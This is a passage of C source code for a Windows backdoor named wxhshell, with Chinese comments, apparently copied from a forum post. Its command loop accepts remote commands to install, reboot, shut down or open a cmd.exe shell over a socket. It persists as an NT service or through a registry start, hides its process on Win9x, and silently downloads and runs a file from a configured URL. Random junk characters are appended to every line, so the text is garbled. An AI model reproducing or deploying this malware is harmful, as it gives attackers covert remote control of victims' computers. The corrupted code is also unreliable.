      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nA!Xb'y&  
    break; ) <lpI';T  
  } L$ nFRl&  
  // 安装 "8bxb  
  case 'i': { l&]Wyaz@n  
    if(Install()) ,P?R 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?89ZnH2/  
    else vYYLn9}5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :6,qp?/  
    break; W?(^|<W  
    } Fu K(SP3  
  // 卸载 ";)SA,Z  
  case 'r': { D^ E+#a 1  
    if(Uninstall()) ""j(wUp-W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  >%~E <  
    else +2}aCoL\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2MN AY%iT  
    break; 0(uNFyIG  
    } xk1pZQ8c  
  // 显示 wxhshell 所在路径 ?~mw  
  case 'p': { 1I'ep\`"X  
    char svExeFile[MAX_PATH]; GM5s~,  
    strcpy(svExeFile,"\n\r"); ZQd\!K8y^Q  
      strcat(svExeFile,ExeFile); Yj^| j  
        send(wsh,svExeFile,strlen(svExeFile),0); Rwy<#9R[x  
    break; UE3#(:x A  
    } Dn[iA~  
  // 重启 F-^#EkEGe  
  case 'b': { b&Dc DX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jY]hMQ/H  
    if(Boot(REBOOT)) uq}>5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oEqt7l[I{  
    else { [5v[Zqud  
    closesocket(wsh); VW7 ?{EL7  
    ExitThread(0); )/'y'd<r  
    } C,+ Sv-  
    break; 1I#S?RSb  
    } 7qyv.{+  
  // 关机 _;A?w8z  
  case 'd': { YWf w%p?n"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7VP[U,  
    if(Boot(SHUTDOWN)) ]"Do%<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )xJo/{?  
    else { "TWNit  
    closesocket(wsh); )8H5ovj.  
    ExitThread(0); zUw9  
    } }tH$/-qnJE  
    break; J,8Wo6  
    } $X.X_  
  // 获取shell EW* 's(  
  case 's': { PV2cZ/  
    CmdShell(wsh); jLULf+ 8&  
    closesocket(wsh); %hYol89F  
    ExitThread(0); MTKd:.J6  
    break; ]}g;q*!J  
  } ; rSpM  
  // 退出 [qHLo>HaL  
  case 'x': { x5Sc+5?*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x<  Td  
    CloseIt(wsh); erG;M!9\  
    break; 0G(T'Z1  
    } );LkEXC_'  
  // 离开 1U"Fk3  
  case 'q': { pGZ I697  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AZmABl  
    closesocket(wsh); Bn7~p+N  
    WSACleanup(); VQ{.Ls2`Z  
    exit(1); =6mnXpM.  
    break; >L#HE  
        } \O"EK~x}/  
  } E7eOKNVC#  
  } RH,1U3?  
p,y(Fc~]g'  
  // 提示信息 R<}Yf[TQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |%F[.9Dp  
} U]!D=+  
  } t83n`LC  
! H)D@,@&  
  return; cLN(yL  
} r^uo7?gZ^  
)~q@2^  
// shell模块句柄 _,h hO  
int CmdShell(SOCKET sock) Wcy N, 5  
{ g-c\ ;  
STARTUPINFO si; HvWnPh1l  
ZeroMemory(&si,sizeof(si)); Ns6Vf5T.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 83*"58  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qg;[~JZYKi  
PROCESS_INFORMATION ProcessInfo; */B-%*#I.  
char cmdline[]="cmd"; 8^3Z]=(Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q? x.P2  
  return 0; *QzoBpO<  
} I' URPj:t  
-[kbHrl&  
// 自身启动模式 b"+ J8W  
int StartFromService(void) M1Jnn4w*d  
{ \R >!HY  
typedef struct ;cBFft}D  
{ Qt_LBJUWV  
  DWORD ExitStatus; )'{:4MX  
  DWORD PebBaseAddress; NX?J  
  DWORD AffinityMask; Ybr&z7# 2  
  DWORD BasePriority; +DwyMzeE  
  ULONG UniqueProcessId; P)?)H]J"  
  ULONG InheritedFromUniqueProcessId; anj*a<C<  
}   PROCESS_BASIC_INFORMATION; LTsG  
e[t+pnRh  
PROCNTQSIP NtQueryInformationProcess; 6x*u S~'  
pn6 e{   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hu .e@7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /J8'mCuC.  
U?u0|Y+  
  HANDLE             hProcess; eMf+b;~R  
  PROCESS_BASIC_INFORMATION pbi; $ctY#:;pV{  
VWoxi$3v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I|=$.i  
  if(NULL == hInst ) return 0; t:m2[U_}  
Wq!n8O1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kve{CO*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b {e nD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JFx=X=C  
NGHzifaE   
  if (!NtQueryInformationProcess) return 0; (,<ti):  
J[:3H6%`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gc) Zu`67  
  if(!hProcess) return 0; djVE x }  
N@UO8'"9K&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 75`*aAZ3  
g)+45w*+5  
  CloseHandle(hProcess); |Ew\Tgo/2  
}hOExTz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3AWNoXh  
if(hProcess==NULL) return 0; |C9qM  
9,|&+G$  
HMODULE hMod; L3 M]06y  
char procName[255]; pPcn F`A  
unsigned long cbNeeded; <!h&h  
bdiyS.a-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NJb5HoYZ  
`jR;RczC  
  CloseHandle(hProcess); N{@kgc  
YX+Da"\  
if(strstr(procName,"services")) return 1; // 以服务启动 /8baJ+D"4\  
S8+Xk= x  
  return 0; // 注册表启动 CCJ!;d;&87  
} ]*+ozAG4  
}Y(yDg;"  
// 主模块 3Q^@ !hu  
int StartWxhshell(LPSTR lpCmdLine) ?^9TtxM  
{ P%5h!Z2m  
  SOCKET wsl; p1p4t40<l  
BOOL val=TRUE; ;ti{ #(Ux  
  int port=0; WY%LeC!t  
  struct sockaddr_in door; .$>?2|gRv  
gP*:>[lR  
  if(wscfg.ws_autoins) Install(); 2RD os#  
372ewh3'  
port=atoi(lpCmdLine); jyPY]r  
(S+tQ2bt  
if(port<=0) port=wscfg.ws_port; { #CyO b4  
K /h9x9^  
  WSADATA data; jp2AU,Cl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AF5.gk=  
]@bo;.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jcF/5u5e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w U.K+4-k  
  door.sin_family = AF_INET; 4NxtU/5-sU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @p jah(i`  
  door.sin_port = htons(port); 5H#3PZaQ  
~SkdP7 )  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IMzhEm  
closesocket(wsl); LQSno)OZ  
return 1; &*Eyw s  
} o >{+vwK  
XA{ tVh  
  if(listen(wsl,2) == INVALID_SOCKET) { hQrO8T?2  
closesocket(wsl); K"1xtpy  
return 1; 5EDM?G  
} :0pxacD"!  
  Wxhshell(wsl); Y3jb 'S4(  
  WSACleanup(); DUiqt09`~  
fL4F ~@`9l  
return 0; mP GF Y  
@"T_W(i;BI  
} v"Bv\5f,Ys  
v`B7[B4K3  
// 以NT服务方式启动 b9HE #*d,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =rS z>l  
{ -nG3(n&wB  
DWORD   status = 0; O&]Y.Z9,A  
  DWORD   specificError = 0xfffffff; 1tG,V%iCp  
( B$;'U<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XiI@Px?FL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pLL ^R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Dq+rEt  
  serviceStatus.dwWin32ExitCode     = 0; 67 >*AL  
  serviceStatus.dwServiceSpecificExitCode = 0; 94"R&|  
  serviceStatus.dwCheckPoint       = 0; pU)wxv[~  
  serviceStatus.dwWaitHint       = 0; ]>K%,}PS  
7,ODh-?ez  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,dKcxp~[  
  if (hServiceStatusHandle==0) return; 5nzk Zw  
)` S,vF~  
status = GetLastError(); `bO+3Y'5  
  if (status!=NO_ERROR) Ps0'WRJnx  
{  ' -[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !<}<HR^ )  
    serviceStatus.dwCheckPoint       = 0; ZbCu -a{v  
    serviceStatus.dwWaitHint       = 0; =kohQ d.n  
    serviceStatus.dwWin32ExitCode     = status; zLue j'  
    serviceStatus.dwServiceSpecificExitCode = specificError; vWI9ocl`W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9}t2OJS*h"  
    return; LOi5 ^Um|  
  } pm O}m>  
eu ~WFI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H-?SlVsf  
  serviceStatus.dwCheckPoint       = 0; a9}cpfG=)  
  serviceStatus.dwWaitHint       = 0; EP7L5GZ-a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F?e_$\M  
} <LQwH23@  
u*Eb4  
// 处理NT服务事件,比如:启动、停止 /r Zj=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "YHqls}c  
{ 31k.{dnm  
switch(fdwControl) C/ow{MxA  
{ 9f;\fe  
case SERVICE_CONTROL_STOP: e.n&Os<|<  
  serviceStatus.dwWin32ExitCode = 0; w<N [K>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $@[6jy  
  serviceStatus.dwCheckPoint   = 0; Ra[{K@  
  serviceStatus.dwWaitHint     = 0; s CSrwsbhv  
  { D_`MeqF}C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gO4` e(W  
  } Z1u{.^~^z  
  return; 8$-(%  
case SERVICE_CONTROL_PAUSE: 828E^Q"<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rC}r99Pe:x  
  break; 6~V$0Y>]  
case SERVICE_CONTROL_CONTINUE: uG&xtN8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |i7|QLUT  
  break; "n:z("Q*  
case SERVICE_CONTROL_INTERROGATE: xl@l<  
  break; (}vi"mCeW  
}; Ki{&,:@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jTaEaX8+  
} K+TRt"W8&s  
IIUoB!`  
// 标准应用程序主函数 ] 7_ f'M1F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `$SX%AZA  
{ >7B6iR6N  
EKhwrBjS  
// 获取操作系统版本 _n@#Lufx  
OsIsNt=GetOsVer(); q>X#Aaib  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4!,x3H'  
|7 ]v&?y  
  // 从命令行安装  Zm!T4pL  
  if(strpbrk(lpCmdLine,"iI")) Install(); :o?On/  
r ,D T>  
  // 下载执行文件 eaCv8zdX  
if(wscfg.ws_downexe) { R2yiExw<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *=mtt^yZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); s"?Z jV)`  
} ^.aFns{wv  
e<6fe-g9;  
if(!OsIsNt) { thIuK V{CO  
// 如果时win9x,隐藏进程并且设置为注册表启动 I9rWut@+  
HideProc(); /]=Ih  
StartWxhshell(lpCmdLine); BZP}0  
} FM$XMD0=  
else {Y6U%HG{{r  
  if(StartFromService()) d5T M_ C  
  // 以服务方式启动 RT HD2  
  StartServiceCtrlDispatcher(DispatchTable); A-Be}A  
else 4qXO8T#~J=  
  // 普通方式启动 5RXZ$/  
  StartWxhshell(lpCmdLine); P~`gWGC}  
/ E}L%OvE  
return 0; d*$$E  
}
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只看该作者 1 发表于: 2006-10-10
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